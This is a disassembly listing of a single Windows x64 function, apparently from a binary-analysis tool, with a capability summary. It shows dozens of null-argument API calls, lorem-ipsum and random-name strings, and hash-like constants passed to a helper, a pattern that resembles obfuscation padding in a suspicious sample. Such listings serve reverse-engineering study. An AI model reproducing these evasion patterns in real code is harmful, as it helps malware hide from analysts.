Function at 0x6bad34dd
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rax, qword [0x6bb80f80]
cmp dword [rax], 0
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov dword [rsp + 0xf0], r8d
mov dword [rsp + 0xf8], r9d
je 0x6bad3cfc
mov ecx, 0x22e8e8e3
call fcn.6bad9c90
mov rdx, qword [0x6bb80870]
mov rbx, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Molestias_error_incidunt_quasi_corporis_blanditiis_illo_voluptatem_eaque
mov qword [rsp + 0x48], rax
call rax
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rsi
mov rax, qword [0x6bb80ae0]
xor r9d, r9d
xor r8d, r8d
mov rdi, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x1005cc30
mov rax, qword [0x6bb80800]
mov dword [rax], 0x7a68c859
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rdi
mov ecx, 0x5db08f7f
call fcn.6bad9c90
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb807e0]
mov r13, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rdx], eax
mov rax, qword [0x6bb80530]
xor edx, edx
mov dword [rax], 0x899b699a
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Dolorum_quasi_autem_non_eos
call r14
mov r11, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.A_qui_omnis_voluptatibus_voluptatem_facere_aut_quidem
mov qword [rsp + 0x88], r11
call r11
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x6bb80d30]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb811d0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x6bb80e00]
mov edx, dword [rax]
mov rax, qword [0x6bb81140]
mov dword [rax], edx
mov rax, qword [0x6bb80770]
mov edx, dword [rax]
mov rax, qword [0x6bb806b0]
mov dword [rax], edx
mov rax, qword [0x6bb810d0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80c80]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x6bb80cb0]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.YazminVeum
lea rcx, str.Ad_doloremque_qui_corrupti_aut_maxime_suscipit
mov dword [rax], 0x582aaa62
call rbp
xor edx, edx
xor ecx, ecx
call r12
mov r15, qword [0x6bb80a30]
mov ecx, 0x9e189a8d
mov dword [r15], 0x3cda0237
call fcn.6bad9c90
mov rcx, qword [0x6bb81020]
xor r9d, r9d
xor r8d, r8d
mov dword [rcx], eax
mov rax, qword [0x6bb80a80]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80cd0]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x68], rax
call rax
xor edx, edx
lea rcx, str.Velit_recusandae_ut_quo_quisquam_enim
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
xor edx, edx
lea rcx, str.Atque_ipsa_ut_quod_sit_error_eaque_magni
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rdi
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call rbx
mov ecx, 0x1faebf7f
call fcn.6bad9c90
mov rcx, qword [0x6bb80660]
mov dword [rcx], eax
mov rax, qword [0x6bb80ce0]
mov ecx, dword [rax]
call fcn.6bad9c90
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x6bb805d0]
mov dword [rcx], eax
xor ecx, ecx
call r13
mov rax, qword [0x6bb807a0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb808d0]
mov ecx, 0x4423452f
mov dword [rdx], eax
call fcn.6bad9c90
mov r10, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rdx, qword [0x6bb810b0]
xor ecx, ecx
mov qword [rsp + 0x80], r10
mov dword [rdx], eax
call r10
mov edx, dword [r15]
mov rax, qword [0x6bb811a0]
mov ecx, 0xa95b0c97
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb80620]
mov ecx, 0x626636f6
mov dword [rdx], eax
call fcn.6bad9c90
mov r15, qword [0x6bb809b0]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [r15], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rdi
xor edx, edx
lea rcx, str.TrevorBecker
call r14
mov r11, qword [rsp + 0x88]
xor edx, edx
xor ecx, ecx
lea r8, str.EarnestUpton
call r11
mov rax, qword [0x6bb80d70]
lea rcx, str.Et_porro_est_reprehenderit_sit_ratione
mov edx, dword [rax]
mov rax, qword [0x6bb811b0]
mov dword [rax], edx
mov rax, qword [0x6bb80f30]
lea rdx, str.Fugiat_veritatis_molestiae_hic_est_magni_consequatur_molestiae
mov dword [rax], 0xd1e47ac7
call rbp
mov rax, qword [0x6bb80db0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80b10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb80c70]
xor edx, edx
mov dword [rax], 0x97840893
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov ecx, 0x57abcc64
call fcn.6bad9c90
mov rdx, qword [0x6bb80a70]
mov r14, qword [0x6bb809e0]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r14]
mov rax, qword [0x6bb80ec0]
mov dword [rax], edx
call rbx
mov rax, qword [0x6bb80740]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80ab0]
mov dword [rax], edx
mov rax, qword [0x6bb80730]
mov dword [rax], 0x1b7a7b5
mov rax, qword [0x6bb81100]
mov dword [rax], 0x23f4be2b
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
mov dword [r15], 0x6a264017
call rsi
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.ArmaniGerlach
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0xe2205034
call fcn.6bad9c90
mov rdx, qword [0x6bb80650]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb80800]
mov edx, dword [rax]
mov rax, qword [0x6bb80960]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x6bb80910]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80cc0]
mov dword [rax], edx
mov rax, qword [0x6bb80ae0]
mov edx, dword [rax]
mov rax, qword [0x6bb80dd0]
mov dword [rax], edx
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.IlaRosenbaum
lea rcx, str.LeliaSpencer
call rbp
mov rax, qword [0x6bb80890]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80f10]
lea rcx, str.Dolores_vero_ducimus_quasi_et_atque_aliquam_accusamus_architecto_magnam
mov dword [rdx], eax
call r15
mov rax, qword [0x6bb80f30]
mov rdx, qword [0x6bb81020]
mov ecx, 0x523d04c2
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.6bad9c90
mov rdx, qword [0x6bb81190]
lea rcx, str.Nihil_et_sunt_aliquid_numquam
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
lea rcx, str.ArlieRenner
call r15
mov rax, qword [0x6bb80e40]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4cdd7133
mov rax, qword [rsp + 0x70]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x6bb80ea0]
mov ecx, 0x239341a8
mov edx, dword [rax]
mov rax, qword [0x6bb80d40]
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb80e10]
mov dword [rdx], eax
mov rax, qword [0x6bb805d0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80550]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb80680]
mov edx, dword [rax]
mov rax, qword [0x6bb80fa0]
mov dword [rax], edx
mov rax, qword [rsp + 0x60]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rdi
mov rax, qword [0x6bb809d0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xa6fa3231
call r13
xor ecx, ecx
call rsi
mov ecx, 0xb818691d
call fcn.6bad9c90
mov rcx, qword [0x6bb80800]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call r12
mov rax, qword [0x6bb810d0]
mov ecx, 0x60903529
mov edx, dword [rax]
mov rax, qword [0x6bb80f40]
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb81040]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb805a0]
mov dword [rax], 0x389c8367
mov rax, qword [0x6bb81110]
mov dword [rax], 0x2bc7fac
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [0x6bb807a0]
mov r12, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80fc0]
mov dword [rax], edx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rdi
mov rax, qword [0x6bb80ae0]
xor ecx, ecx
mov dword [rax], 0x18b468e3
call r12
mov rax, qword [0x6bb81150]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6e9bb50c
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x6bb81080]
mov r12, qword [0x6bb808b0]
mov ecx, 0x865a0ab3
mov rdi, qword [0x6bb80660]
mov dword [rax], 0x124c7084
mov eax, dword [r12]
mov dword [rdi], eax
call fcn.6bad9c90
mov rdx, qword [0x6bb811f0]
mov ecx, 0x10e885e7
mov rdi, qword [0x6bb80760]
mov dword [rdx], eax
mov rdx, qword [0x6bb81020]
mov eax, dword [rdi]
mov dword [rdx], eax
call fcn.6bad9c90
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [r12], eax
mov rax, qword [0x6bb80b50]
xor ecx, ecx
mov dword [rax], 0xc667beb7
mov rax, qword [0x6bb80eb0]
mov dword [rax], 0xee49a062
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x6bb80610]
xor ecx, ecx
mov dword [rax], 0xba598c5a
call rsi
lea rcx, str.Dolorum_voluptatem_culpa_recusandae_sint
mov rax, qword [rsp + 0x48]
call rax
mov ecx, 0xcb5e7da0
call fcn.6bad9c90
mov rsi, qword [0x6bb80ae0]
lea rdx, str.TedHarvey
lea rcx, str.Qui_mollitia_et_quam_rerum_temporibus
mov dword [rsi], eax
call rbp
lea rcx, str.Repudiandae_dolorem_numquam
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call rbx
mov r10, qword [rsp + 0x80]
xor ecx, ecx
call r10
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rax, qword [0x6bb80570]
mov edx, dword [rdi]
xor ecx, ecx
mov dword [r14], 0x8802c8a9
mov dword [rax], 0x45dad1b6
mov rax, qword [0x6bb80750]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x6bb80e50]
mov dword [rax], 0x595ff9d6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0xf0]
mov r8, qword [rsp + 0xe8]
mov rcx, rax
mov eax, dword [rsp + 0xf8]
mov rdx, qword [rsp + 0xe0]
mov dword [rsp + 0x20], eax
call fcn.6bad2bf5
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret